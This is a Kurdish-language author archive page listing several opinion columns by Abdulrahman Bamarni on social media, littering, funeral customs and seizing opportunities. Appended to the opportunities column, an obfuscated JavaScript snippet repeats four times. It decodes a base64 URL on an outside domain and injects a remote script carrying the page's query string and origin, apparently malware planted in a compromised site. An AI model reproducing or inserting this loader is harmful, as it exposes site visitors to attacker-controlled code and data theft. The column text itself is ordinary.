NO IORG
نووترين نووچه
Authors Posts by عبدولرحمان بامه‌رنى

عبدولرحمان بامه‌رنى

عبدولرحمان بامه‌رنى
18 POSTS 0 COMMENTS

0

عەبدولرەحمان بامەرنی

دگەل هاتنا شەپۆلا ئەنترنێتێ ب ڤێ بەرفرەهیێ و ڤان هەمی ئەبلیكەیشنان، تورێن جڤاكی و هەر ئێك ب رێكا خوە و ب ئامیرێ خوە یێ تایبەت دچیتە د ناڤدا، خەلك هند یێ ب خوەڤە مژویل كری، ئێدی سەرەدان یێن كێم بووین و چوونا ب گوندیڤە وەك جاران نەمایە، خڕڤەبوون ل مالەكێ ناهێتە دیتنێ و هەر كەسێ تو لدەف بروینی دێ گازندان كەت و بێژیت مرۆڤاهی یا كێم بووی و ئەنترنێتێ خەلك یێن ژ ئێك دویركرین و خوە جەژن و بەهی ژی یێن بووینە نامەیێن مۆبایلێ و سەدان گۆتن و بەهانەیێن دی، لێ ئەرێ‌ راستە ئەنترنێتێ ئەڤ پەیوەندیێن هەنێ كێم كرینە؟ رەنگە ئەگەر ڤێ پرسیارێ ب هەلبژاردەیا (بەلێ و نەخێر) بێخینە بەردەستێ خەلكی، سێكا خەلكی دێ درێكەفتی بین، كو بەلێ ئەنترنێتێ پەیوەندیێن جڤاكی یێن كێم كرین و ژخوە ئەگەر تو گوهێ خوەبدەیە وان كەسان ئەڤێن دبێژێن بەلێ، دێ بۆ تە ب دەهان نموونەیان ئینن كو دلۆڤانی نەمایە و دێ بێژن، سەرەدان نەماینە، جەژن وەكی بەرێ نەماینە و ئەو د دروستن و ئەگەر بێژین بەروڤاژی ئەنترنێتێ پەیوەندیێن جڤاكی یێن موكمتر ژی لێكرین، د هەمان دەمدا ئەڤ تەخە ژی یا دروستە. ل ڤێرە تشتەك دمینیت، د ناڤبەرا ڤان هەردو دروستیان دا، ئەو چ تشتە هەردو جوین ل سەر خالەكێ درێكەفتی نەبن؟ پێنەڤێت ئەڤە دێ بۆ ئاستێ بكارئینانێ و خوە گونجاندنێ دگەل ڤان ئامیرەیان مینیت و ئەگەر ل سەر هەر ئێكێ ژ ڤان جوداتر راوەستین، ئەڤێن دبێژن ئەنترنێتێ مرۆڤاهی و دلۆڤانی یا كێمكری، پڕانیا وان كەسان دێ ژ وێ تەخێ بن، یێن نەشیایین خوە دگەل ئەنترنێتێ بگونجینن، چ تەمەن ئەگەر بیت، چ نەبوونا ئەنترنێتێ ئەگەر بیت، چ نەبوونا ئامیرێ پێشكەفتی و گونجای ئەگەر بیت و چ ژی كەسەك بیت خەریبیێن جاران بكەت، بیرهاتنێن وی، ئەوا بۆ وی هاتیە گۆتنێ و د بەرامبەر دا ئەڤێن دشێن خوە دگەل ئەنترنێتێ بگونجینین، دێ بینی مژولاهیێن وان یێن بووینە گەلەك، دچنە د ناڤ بەرنامەیێن نوی دا، ئەز بەحسا وان بكەم ئەڤێن مفایی ژ ئەنترنێتێ وەردگرن، دشێن خوە پێش بێخن، زانیاریێن خوە زێدە بكەن، بزانن چ ل دەردوورێن وان رویددەت، ب رێكا ئەنترنێتێ جیهانێ ببینن و ئەڤە ژبلی پەیوەندیێن هەڤالینیێ، ئاخفتن و دانوستاندن دگەل كەسێن دی و یان كو هشیاربوونەك ل دەف وان دروست دبیت، ئەو هشیاربوونا هەنێ وی ژ ژینگەها وی یا بەرتەنگ دەربازی ژینگەهەكا مەزنتر لێدكەت.
دا بزڤرینە تەخا ئێكێ ئەڤێن گازندێ ژ ئەنترنێتێ دكەن، ئەگەر بەحسا یێن مەزن بكەین و نەشێن ڤیان ئامیران بكاربینن، رەنگە رۆژانە یان چەند رۆژان زارۆكێن وی ل كیڤە بن دێ پەیوەندیێ پێكەن و هەر تشتێ وان دڤێت و چ دەمێ وان دڤێت دشێن پرسیارا سەح و سییا ژ ئێك بكەن، ئەڤە ژبلی دروستكرنا خارنێ، كرینا تشتان، گوهورینا ناڤ مالێ، ژ وەلاتەكی بۆ وەلاتەكی، بلاڤبوونا بلەزا ئاگەهیان و یا من دڤێت لڤیرە بێژم، ئەز چ ژ هەردوو ئالیان ب سەر یێدی نا ئێخم، لێ هەر ئێكێ باشی و خرابیێن خوە هەنە و رەنگە هەر ئێك لدویڤ شیانێن خوە و لدویڤ زانینا خوە تێكەلی ڤان بەرنامان دبیت و یا ئەز دزانم، ئەگەر ئەم ژڤێ قۆناغێ دەرباز ببین، قۆناغا بهێت چ مەزن بیت چ بچیك بیت و خوە دگەل ئەنترنێتێ نە گونجینیت، ئەو دێ كەسەكێ دویر جڤاكی بیت.

3

عەبدولرەحمان بامەرنی

ئەز دێ ژ گۆتنەكا (لیو تولستۆی) ل دۆر پاقژیێ، بابەتێ خوە نڤیسم، ئەو دبێژیت (كەسێ پاقژ، ب هشیاری دناڤ گلێشی دا هاتنووچۆنێ دكەت، بەلێ دەمێ‌ پێلاڤا وی پیس بوو، هشیارییا وی كێمتر لێ دهێت و دەمێ‌ دبینیت پێلاڤێن هەموویان دپیسن، ئەو هشیاری یە ژی ل دەف نامینیت و گوهنادەتە پیسبوونا پێلاڤا خوە) و ل بیرا منە هێشتا ئەم زارۆك بووین، ئەم هاتبووینە پەروەردەكرن، نابیت گلێش بكەڤیتە سەر (مەحفیرێ) و دگەل ڤێ پەروەردەكرنێ، دەمێ‌ دچمە جهەكێ میری یان ئۆفیسەكێ و مۆكێتەكێ لێ دبینم، من یا هەولدا یی پێلاڤێن خوە بێخم، لێ یێن گۆتینە من ئاساییە پێ لێدانی و دەما ب ژۆر كەفتیم، مۆكێتەكا پاقژ دكەفتە بەرچاڤێن من. هەر چاوا بیت ئەو هندەك بابەتێن دی بوون و یا من مە بەست پێ، بەری چەند رۆژان ئەم بۆ كارەكێ ل زاخۆ بووین و مە پیاسەیەك ل كۆرنیشێ زاخۆ كر، ئەز بەحسێ‌ جوانییا وێ ناكەم و ئەو پارێ لێ هاتیە مەزاختن و دێ شێت چەند گەشتیاران بۆ لایێ خوە راكێشیت، ژبلی پەیداكرنا سیمایێن شارستانەیەتێ لڤی باژێری، لێ یا من تێبینی كری، ل چ جهان گلێش ب بەرچاڤێن من نەكەفت و تشتێ ئەز پالدایمە ڤێ نڤیسینێ ژی، دروستبوونا ڤێ پرسیارێ بوو، ئەو چ ئەگەرن ل جهەكێ دی ئەم گلێشێ خوە پاڤێژینە سەر عەردی و ل ڤێرە گلێشێ خوە بكەینە دجهێ گلێشی دا، ب دیتنا من دو ئەگەر هەنە، ئێك ب گۆتنا (لیو تولستۆی)ڤە گرێداییە و ئێك ژی ب پەروەردەكرنا مەڤە، یا تولستۆی، دەمێ‌ ئەزێ گەشتیار چ گلێشەكی ل چ جهان نەبینم، ئەز ب خوە دێ شەرم كەم گلێشێ خوە پاڤێژم سەرعەردی و خوە ئەگەر چاڤێ كەسەكی لمن نەبیت و یا دویێ ژی ئەم ژخوە دەستپێبكەین، بۆ نموونە ئەگەر مە بڤێت دیاردەیەكێ كێم بكەین، ل جهەكێ گشتی، ل سەر جاددێ، ل بەرچاڤێن خەلكی، جارەكێ دوویان ئەم گلێشی ژ عەردی راكەین و بكەینە دجهێ وی یێ تایبەت دا، ئەڤ خەلكێ بەرێ خوە ددەتە مە، ئەگەر چاڤ لمە نەكەت ژی، لێ ئێدی ئەو دێ شەرم كەت و ل هەر جهی گلێشێ خوە پاڤێژیت.

1

عەبدولرەحمان بامەرنی

هەر چەندە ئەڤێن دەستێ نڤیسینێ هەین و پێشتر گوتارێن وان د رۆژنامە و گۆڤاران دا جهێ خوەكری، ئەو هزردكەن ئەون چالاكڤانێن سۆشیال میدیایێ نە، مەبەستا من (تۆڕا فەیسبۆكێ، ژبەركو گۆتار ل ڤێ تۆرێ زێدەتر دهێنە خواندن) و نەبتنێ چالاكڤان، بەلكو هزردكەن تۆرەكا وەكی فەیسبۆكێ پێدڤی نڤیسینێن وانە! لێ راستی بیت، نڤیسین بۆ رۆژنامێ و بۆ گوڤارێ و بۆ سۆشیالێ دو تشتێن ژ ئێكجودانە، خوە ئەگەر كەرێن ئێك سێڤ ژی بن. ئەم دشێین هۆسا ژی بێژین، سۆشیالێ جۆرەكێ دییێ نڤیسەری دروست كر، نڤیسەرەكێ ب ئاگەهتر، نڤیسەرەكێ راستە راست و نڤیسەرەك بشێت وێرەكییێ بدەتە خوە و ل بەرامبەری خواندەڤایی راوەستیت و ئەڤا ئەز دبێژم، هەمی نڤیسەران ئەو شیانە نینن و ژێ درەڤن، ژبەركو نڤیسین بۆ رۆژنامێ و گۆڤارێ، جوداترە ژ ئەوا ل سۆشیالێ دهێتە بلاڤكرنێ، ئەز بەحسا كورتیێ و لەزاتییا گەهاندنێ بتنێ ناكەم، بەلكو خواندەڤایێ سۆشیالێ یە ڤی حوكمی ل سەر جۆرێ نڤیسەری ددەت و ئێدی ئەو ژ هەمی كەسان قەبویل ناكەت هەر تشتێ بهێتە نڤیسین ئەو بخوینیت و لدویڤ پیڤەرێن وی، نڤیسەر دهێتە پۆلینكرن و ئەڤ كەسێن نەشێن خوە دگەل سۆشیال میدیایێ بگونجینن، ئەو د رێدا دمینن و رەنگە باشترین نڤیسەرێ بۆ سۆشیالێ میدیایێ‌ بنڤیسیت ژی هندەك سالۆخەت لدەف هەبن. دا بابەتێ من ژی باشتر بگەهیت، ئەز دێ ل سەر هندەك ژ وان سالۆخەتان راوەستم، ئەو ژی، نڤیسەر دڤێت راستە راست بابەتێ وی بڤێت بگەهینت، بێ چەپ و چیر و كورت و بێ شرۆڤەكرن، زمانەكێ سادە و هەمی كەس تێبگەهن و وێرەكی و دیتنا نڤیسەری دگەل بیت، چارەسەری دگەلدا هەبیت، ئەگەر بابەت رەخنەیی بیت و دیسا بشێت پرسیارێ ژی لدەف خواندەڤایی دروست بكەت، تا كو ئەو نڤیسینا هەنێ بشێت كونتاكێ دگەل خواندەڤای دروست بكەت.
بۆچی من گۆت هەمی نڤیسەر نەشێن خوە دگەل سۆشیال میدیایێ یان خواندەڤایێ نوی بگونجینن؟ ئەڤا ئەز دێ نڤیسم ژی ژ سەربۆرێن من یێن نڤیسینێ نە چ وەك رۆژنامە و گۆڤار یان ژی سوشیال میدیا و ل رۆژنامێ و گۆڤارێ، نڤیسەر خوە پاراستیتر دبینیت و ناكەڤیتە بەر گەنگەشا هەر كەسێ هەی، د رۆژنامە و گۆڤارێ دا ئەگەر خواندەڤایەكی دیتنەكا جوداتر ژی هەبیت، دێ دیتنا وی بۆ وی بتنێ بیت، لێ د سۆشیال میدیایێ دا هەمی تشت جودایە، خواندەڤان و كەیفا خوە، ئەو چاوان تێدگەهیت و ئەو چاوا رەخنێ دگریت و گەلەك ژ نڤیسەران وێرەكیێ نادەنە خوە، ژبەركو وان بۆ خوە جیهانەكا داخستی دروستكرینە و ب بەهانەیێن جودا، ئەو دبێژن ئەڤە نڤیسینێن مە و بلا خواندەڤان لدویڤ نڤیسینێن مە بگەریت، رەنگە بارەكا مافی دگەل واندا هەبیت، لێ د هەمان دەمدا ئەو رەڤینە ژ راستییێ، مەبەستا من رەڤینە ژ خواندەڤایی، رەڤینە ژ ڤێ جیهانا نوی و ڤێ تەكنەلۆژیا جیهان سەرسام كری، ژبەركو ئێدی دخوازیت نڤیسەر بۆ خواندەڤایی بنڤیسیت و بزانیت خواندەڤای چ ژوی دڤێت و ئەز باوەردكەم دێ گەلەك گوهۆرینان ب سەر ئەوا ئەو دنڤیسیت دا ئینیت، ئەز بەحسا گەهاندنێ دكەم و دڤێت نڤیسەر وێ وێرەكیێ ژی بدەتە خوە، ئەو بكەڤیتە بەرامبەری خواندەڤایی و بزانیت ئاستێ تێگەهشتنا وی چەندە، ئاستێ تێگەهشتنا وی بۆ نڤیسینا وی مەبەستا من، دەربرین و دارشتنا وی بۆ بابەتێ وی، خوە ئەگەر چەند یێ كورت ژی بیت و بوچی من دمانشێتێ ڤێ گوتارێ دا نڤیسی چالاكڤان و نە نڤیسەر؟ ئەڤە ژی ئێك ژ جوداهیانە، بۆ سوشیال میدیایێ دڤێت نڤیسین یا راستە راست بیت، هەر وەكو نڤیسەر دگەل خواندەڤایی یان وەرگری د ئاخڤیت و دڤێت رێكێن چارەسەریێ ژی دگەلدا هەبن و دگەل چالاكڤانی ئەڤ تشتێ هەنێ زێدەتر دروست دبیت، ژبەركو چالاكڤان یێ فێرە دگەل وەرگری دكەڤیتە دانوستاندنێ و دیتن و بوچوونێن وی وەردگریت، لێ نڤیسەر فێری ڤێ چەندێ نەبوویە، وی هەر یا دیتی بابەتێ خوە نڤیسی و یێ هاتیە بلاڤكرنێ و كێم جاران دیتن و رەخنە ل سەر ئەوا وی نڤیسی یا هاتیە گرتنێ و چ جارەكێ نەكەفتیە بەرامبەری خواندەڤایێ خوە و بزانیت وی چ ژ وی دڤێت ئەو بنڤیسیت و چ جارەكێ ژی فێر نەبوویە خواندەڤایێ وی ل بەرامبەری ئەوا وی نڤیسی راوەستیت و رەخنێ لێبكەت، نە بتنێ كەسەك بەلكو دەهان كەس كومێنتێن خوە یێن رەخنەیی ئاراستەیی وی بكەن و ئەگەر مەبڤێت نڤیسەرێ مە ژی قەرقۆدێ وی بۆ خوە دروستكری دەركەڤیت و ل بەرامبەری خواندەڤایێ خوە راوەستیت، كو هەر دەم ئەو گازندا دكەت خواندەڤا نینە، دڤێت بزانیت خواندەڤایێ وی چ ژ وی دڤێت؟

3

عەبدولرەحمان بامەرنی

ئێك ژ بابەتێن گەرمێن ل ڤێ دووماهیێ سۆشیال میدیا بخوەڤە مژویل كری، بابەتێ دروستكرنا خوارنا ناڤ تازیانە. نە بتنێ سۆشیال میدیا، بەلكو بنەمال، گوند و تا عەشیرەتێ ژی ل گەلەك جهان كرینە بریار، كو نابیت خوارن ل مالا خودانێ تازیێ بهێتە دروستكرن. هەر كەسێ دویڤچوونا بابەتی ژی كربیت و تایبەت سۆشیال دەرگەهێ دانوستاندنێ ل بەر دیتنێن جودا ڤەدكەت، هەمیان دەستخۆشی ل ڤان پێنگاڤان كرن، ژبەركو بارگرانیەكە دكەڤیتە سەر مالا تازیێ و دگەل خەمێن تازیێ و ژ دەستدانا خۆشتیڤەكی، بارگرانییا مەزاختیێ خوارنا تازیێ ژی دهێتە سەر و هەر وەكو من گۆتی سۆشیال دەرگەهێ دانوستاندنێ لبەر هەمیان ڤەدكەت، د ناڤ هندەك كۆمێنتان دا هاتبوو، ئەرێ ما چاوا بەهیچنەك ژ دویر بهێت و ئەز بێ خوران بزڤرینم؟ د كۆمێنتەكا دیدا ئاماژە ب سندۆقا بنەمالێ ددان، كو مە سندۆقا بەخشینێ یا هەی و بنەمال یان گوند هەمی تێدا پشكدارە و بارگرانی ناكەڤیتە سەر خودانێ تازیێ و ئەڤە و چەندین دیتن و كۆمێنتێن دی، كو رەنگە هەر ئێكی بارەكا مافی دگەلدا هەبیت، لێ ئەگەر ژلایەكێ دیڤە ل بابەتی بنێرین، بۆچی بابەتێ خوارنا ناڤ تازیێ خەلك دلگرانكریە و سۆشیال میدیا لێ هاتیە دەنگ؟ دێ بینین رەفتارێن هندەكان و زێدەرەوییا هندەكان ل سەر هندەك بابەتان، بووینە ئەگەر كو چاڤلێكرنێن نە د جهێ خوەدا بهێنە گۆرێ و ئەگەر هندەكێ ل سەر خورانا تازیان راوەستین و ئەو چ ئەگەر بوون كو ئەڤ بریارێن هەنێ یان ئەڤ مشتومرێن هەنێ ل سەر خورانێن تازیێ دروست ببن، ئەڤێن ل خوارێ نە: ئێك: ل ڤێ دووماهیێ دابونەریتەكی سەرهلدا، ئەو ژی برنا بەهیچنان بۆ خورانگەهان و بابەتێ خورانگەهێ ب بابەتێ (كەیس ماقیلی، خوە شەرمكرن، خوە كێمنەدیتن و ما ئەز ژكێ كێمترم)ڤە هاتە گرێدان. دو: د كوردەواریێ دا دەما تازی بۆ ئێكی دروست دبوو، مالا مری خوارن چێنەدكرن، بەلكو دەروجیرانان خوران بۆ مالێ دئینان و ئەڤێن دی هەر ئێكی قەستا مالا خوە دكرن، بتنێ ئەگەر كەسەك ژدویر هاتبا، ئەو ژی نە خوارنگەهـ هەبوون و رێورێبار نەبوون. نوكە هەمی تشت بەرۆڤاژییە و ژبەرفرەهبوونا باژێری، كەس تازیێ ل مالێ نادانیت بەلكو هۆلێن تایبەت یێن هەین، پڕانییا جاران ژی ئەو هۆل ل تاخێن دینە ژمالا خودانێ تازیێ، ل ڤێرە پرسیار تو بەهیچنی و خوە هەكە چەندێ نێزیكی خودانێ تازیێ ژی بیت، دەما دبیتە وەختێ شیڤێ، قەستا مالا خوە بكە خورنا خوە ب خۆ و پاشی هەرە مالا تازیێ! بۆ ئەڤێن ژدویر دهێن، یان درەنگ ب تازیێ دزانن، ئەرێ دێ بۆچی وەختێ خورانێ قەستا مالا خودانێ تازیێ كەیی؟ خالا دی ژی كو ب دیتنا من گەلەك یا بێ رامانە، دەما دبیتە رۆژا دوویێ ژ تازیێ و پشتی نڤێژا (مەغرەب)، دێ كۆمەكا مەزنا مرۆڤان بدویڤ مالا تازیێ كەڤن بۆ شیڤ خارنێ، پرسیار بكە؟ دێ بێژن مانێ رۆژا دووماهیێ یە و هەر وەكو خودانێ تازیێ ژی یێ وەغەركری و چ جارەكا دی نابینتەڤە و دگەل ئەڤێن من گۆتین هەمیان و گەلەك ژێ من نەگۆتین، بۆ هندەكا یا بوویە بابەتێ (داوەت نەبی)، ئێ بەهییە دێ خورانەكا خۆش خوین! ئێ بەهییە و خودانێ مالێ یێ زەنگینە، دێ مە بەتە خورانگەهێ! خودێ بێژی خوارند د مالا وان ڤە نینە، یان قەستا مالا خوە بكە و ئەگەر نەشێی قەستا مالا خوە ژی بكەی، د رێكێ دا دو لەفێن فەلافلا بخوە و پاشی هەڕە مالا بەهیێ و بۆ ئەڤێن داوەت نەبیێ نەزانن ژی، دێ وێ ژی بێژم. رۆژێن تایبەت هەبوون داوەت نەبی دگێران، ل سەر بانەكی خوران رێزدكر و هەر ئێكی كەفچكێ خوە دهەلگرت و دچوون خوران دخوار، ژبەركو خوارنەكا بەلاش و ب هزرا وی ژ یا مالێ خۆشتربوو.

20

عه‌بدولره‌حمان بامه‌رنی
جاره‌كێ ئه‌ز ل به‌رامبه‌ری دیداره‌كێ بووم، ل كه‌ناله‌كێ تیڤیێ دهاته‌ په‌خشكرنێ. دیدار یا بیرمه‌نده‌كێ وارێ جڤاكی بوو و د به‌رسڤا پرسیاره‌كێ دا، بیرمه‌ندی گۆت: “چه‌ند ده‌رگه‌هه‌ك ل به‌ر مرۆڤی دهێته‌ گرتنێ، په‌نجه‌ره‌یه‌ك ل جهه‌كێ دی ڤه‌دبیت”. هه‌ر چه‌نده‌ ئه‌ز گه‌له‌ك دگه‌ل ڤێ گۆتن هزرێن خوه‌ مام، ئه‌ڤ تشتێن من ژ ده‌ستداین و ئه‌ڤ تشتێن شوینا وان هاتین، چ من ده‌رفه‌ت ژێ وه‌رگرتبیت یان من ژێ وه‌رنه‌گرتبیت و رێك ئه‌و هه‌می ده‌رفه‌تێن ژ ده‌ست من چووین یان من مفا ژێ وه‌رگرتین ل سه‌ر گۆتنێ دهاتن، یا دبێژیت: (دگه‌ل داخستنا هه‌ر ده‌رگه‌هه‌كی په‌نجه‌ره‌یه‌ك بۆ مرۆڤی ڤه‌دبیت) و كێشا مه‌ و به‌لكو كێشا پرانیا مه‌، ئه‌م هه‌ر دگه‌ل هیڤیا ده‌رگه‌هی دمینین و مه‌ نه‌شیایه‌ مفای ژ په‌نجه‌ره‌یێ وه‌ربگرین.
ئه‌ز به‌حسا تشتێن ژ نشكه‌كێڤه‌ دهێن ناكه‌م، وه‌ك روودانه‌كا نه‌خوازراو چ روودانا ترۆمبێلێ بیت، سۆتن بیت یان نه‌خۆشیه‌ك ی و مرۆڤ بكه‌ڤیته‌ به‌ر نه‌خۆشخانێ و نۆشداران، لێ ده‌رفه‌ت بۆ مه‌ هه‌میان دهێن و ئه‌گه‌ر مه‌ گازنده‌یه‌ك هه‌بیت ژی، گازنده‌یا مه‌ ژ چانسی و قه‌ده‌رێ و تشتێن هۆسا نینه‌ هندی دڤێت گازندا مه‌ ژ مه‌ بخوه‌ بیت و ئه‌گه‌ر بتنێ به‌حسا ده‌رفه‌تان بكه‌م و ب نموونه‌ كا ئه‌رێَ ده‌رفه‌ت ل به‌ر مه‌ هه‌میان دڤه‌كرینه‌ یان نه‌؟ د پۆسته‌كێ فه‌یسبووكی دا ل سه‌ر ده‌رفه‌تێ و ڤه‌دیتنا ده‌رفه‌تان، من هۆسا تشته‌ك خواندبوو، كه‌سه‌كێ هه‌ژار هه‌بوو و هه‌ژاریا وی گه‌هشتبوو رادده‌یێ بێزاریێ هه‌م بۆ وی بخوه‌ و هه‌م بۆ ئه‌ڤێ هاریكاریا وی ژی دكر، جار‌كێ ێی ئینا نڤیسینگه‌ها خوه‌ و ئه‌ڤ پرسیاره‌ ژێكر، ئه‌رێ تو بۆچی یێ هه‌ژاری، گۆتێ: ژبێ چانسیا منه‌، چ كارێن باش بده‌ست من ناكه‌ڤن و ئه‌گه‌ر بده‌ست من بكه‌ڤن ژی یان ئه‌ز زمانی نزانم یان من شیانێن خوه‌ گونجاندنێ نینن و كه‌س من ناده‌ته‌ كاری و دیاره‌ قه‌ده‌را من یا هۆسانه‌، دڤێت ژیانا من هه‌می ب هه‌ژاری ده‌رباز ببیت. خودانێ نڤیسینگه‌هێ ژی چه‌ند پاره‌یه‌ك دانه‌ ده‌ستی و فرێكره‌ ناڤ بازاری بۆ كرینا تشته‌كی و ئه‌و هه‌ژاره‌ ژی چوو و تا بوویه‌ ئێڤاری زڤریڤه‌ و ئه‌و تشتێ ژێ داخوازكری دا ده‌ستێ خودانێ نڤیسینگه‌هێ و زه‌حمه‌تیا وی پاره‌یه‌ك ایێ و ۆت: ده‌ما تو چوویه‌ بازاری و هاتی ته‌ چه‌ند ترومبێلێن ره‌نگ سۆر دیتن، ئه‌گه‌ر ته‌ زانی بۆ هه‌ر ترۆمبێله‌كێ دێ پێنج هزار دیناران ده‌مه‌ته‌؟ هه‌ژاری گۆتێ: باوه‌ربكه‌ ترۆمبێلێن سۆر یێ به‌ر چاڤێن من كه‌فتین، لێ ل كیژ جاددێ بوو و چه‌ند ترومبێل بوون، من ئه‌و هزر تێدا نه‌كربوو و ئه‌ڤ سوحبه‌ته‌ ده‌رباز بوو و ئێدی چه‌ند ترۆمبێله‌ك ل به‌ر چاڤێن ڤی هه‌ژاری را ده‌رباز بایه‌، تایبه‌ت ئه‌گه‌ر یا ره‌نگ سۆر بایه‌، سه‌رنجا وی رادكێشا و تا ئه‌ڤ سوحبه‌ته‌ بۆ خودانێ نڤیسینگه‌هێ كری و وی گۆته‌ هه‌ژاری: من باوه‌ری ب هه‌ژاریێ نینه‌! هه‌ژاری یان ك ژ دهستانا دو تشتان، ئێك ته‌ ده‌رفه‌ت یێ ژ ده‌ستداین و ده‌رفه‌ت ژی وه‌ك ترومبێلێن سۆره‌ ل سه‌ر جاددێ و ره‌نگه‌ رۆژانه‌ ده‌رفه‌ت دهێن و دچن، لێ له‌زاتیا ده‌ربازبوونا وان كه‌سه‌ك بۆ دڤێت مفای ژ هه‌ر تشتی وه‌ربگریت، دیسا هه‌ژاری یان كو ته‌ نه‌بتنێ ده‌رفه‌ت یێن ژ ده‌ستداین، لێ ئه‌و ده‌رفه‌تێن بۆ ته‌ هاتین ژی ته‌ یێن گۆری تشته‌كێ دی كرین، ئه‌رێ پرسیار چه‌ند كه‌س هه‌نه‌ هنده‌ك پاره‌ ل به‌ر ده‌ستی هه‌بووینه‌ و ب رێیا قه‌چاخیێ را مه‌زاختینه‌ دا خوه‌ بگه‌هینه‌ ئه‌ورۆپا و تا نوكه‌ د بن كرێیان دانه‌؟ چه‌ند كه‌س هه‌نه‌ چووینه‌ ترومبێ ب قست كریه‌ و هزرنه‌كرینه‌ وی پاره‌ی بۆ خوه‌ پارچه‌كا ئه‌ردی بكرن و ده‌رفه‌ته‌كا دی ئاڤاهیه‌كی ل سه‌ر دروست بكه‌ن؟ ئه‌رێ چه‌ند كه‌س هه‌نه‌ شوینا خوه‌ پێبگه‌هینن، خوه‌ فێری زمانی بكه‌ن، شیانێن خوه‌ زێده‌ بكه‌ن، شوینا ببنه‌ هۆستا و پیشه‌دار، لێ ب ژیانا به‌رده‌ستكیێ خوه‌ رازیكرینه‌؟ ئه‌رێ مه‌ چه‌ند كه‌س هه‌نه‌ شوینا پیاسه‌یێن بازاری، ده‌ركه‌فتنێن دگه‌ل هه‌ڤالان، چایخانه‌ و مژولاهیێن دی و د ده‌مه‌كی دا ئه‌گه‌ر وان خواندنا خوه‌ ته‌مام كربایه‌ یان تا ئه‌گه‌ر هاتبنه‌ دامه‌زراندن ژی، لێ به‌رده‌وامیێ بده‌نه‌ خواندنێ و باوه‌رامه‌كا دی ده‌ست ڤه‌بینن و هه‌یڤانه‌ پاره‌یه‌كێ دی بچیت سه‌ر مووچێ وان و ئه‌رێ و ئه‌رێ و ئه‌رێ یێن مه‌ ب دووماهی ناهێن، ئه‌رێ ما ڤان هه‌می ده‌رفه‌تان چانس و قه‌ده‌ر بۆ دڤێن یان هشیاریا مرۆڤی و خوه‌ پێگه‌هاندن؟!.(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();

2

عه‌بدولره‌حمان بامه‌رنی
ئایا ئه‌م دشێین سۆشیال میدیایێ ب شۆرش ناڤ بكه‌ین؟ بۆ به‌رسڤدانا پرساره‌كا ژ ڤی ره‌نگی، دڤێت ل هنده‌ك داتایێن سۆشیال میدیایێ بخوه‌ بزڤرین و كا د سۆشیالێ دا چ روودده‌ت. دا كو بابه‌ت گه‌له‌كێ هلنه‌گریت، دێ زێده‌تر ل سه‌ر بابه‌تێن ره‌وشه‌نبیری راوه‌ستم و مه‌به‌ستا من ژی ب ئازراندنا بابه‌ته‌كێ ژڤی جۆری، بۆ سه‌رنج راكێشانا خوانده‌ڤایێ كورده‌ و د هه‌مان ده‌مدا، بۆ سه‌رنج راكێشانا نڤیسه‌رێ كورده‌.
ئێكه‌م جار، دڤێت بزانین سۆشیال میدیا چ پێشكێش دكه‌ت: د سوشیالێدا و ئه‌گه‌ر ئه‌م تۆڕا فه‌یسبۆكێ بكه‌ینه‌ نموونه‌، كو زێده‌تر به‌كارهێنه‌رێن خوه‌هه‌نه‌. نه‌ بتنێ د رۆژێ دا جاره‌كێ، به‌لكو ژ ده‌مژمێرێ ژی ڤه‌گه‌ره‌ و د هه‌ر چڕكه‌یه‌كێ دا ده‌هان پۆست دكه‌ڤنه‌ به‌رچاڤێن مرۆڤی و ره‌نگه‌ ئه‌گه‌ر په‌یوه‌ندیێن مرۆڤی گه‌له‌ك بن و مرۆڤ د گه‌له‌ك په‌یچان دا یێ كاڕا بیت، هه‌ر مرۆڤ ناگه‌هیت ته‌ماشه‌ی هه‌میان بكه‌ت و ره‌نگه‌ دێ گه‌له‌ك تشتێن زێده‌ د به‌رچاڤێن مرۆڤی را ده‌رباز بن یا من دڤێت بێژم، گه‌له‌ك تشتێن گرنگ، جهێ پیته‌دانا مرۆڤی، یێن مرۆڤی حه‌ز لێهه‌ین پێزانینان ژێ وه‌ربگریت ده‌رباز دبن و مرۆڤی ئه‌و ده‌م نامینیت ل سه‌ر هه‌میان راوه‌ستیت و ئه‌ڤ راوه‌ستیانا هه‌نێ ژی من مه‌به‌ست پێ هه‌یه‌ بكه‌مه‌ نیڤشكێ بابه‌تێ خوه‌ كو من ب شۆرش ناڤكری.
دا ژ نڤیسكایێ ده‌ستپێبكه‌ین:
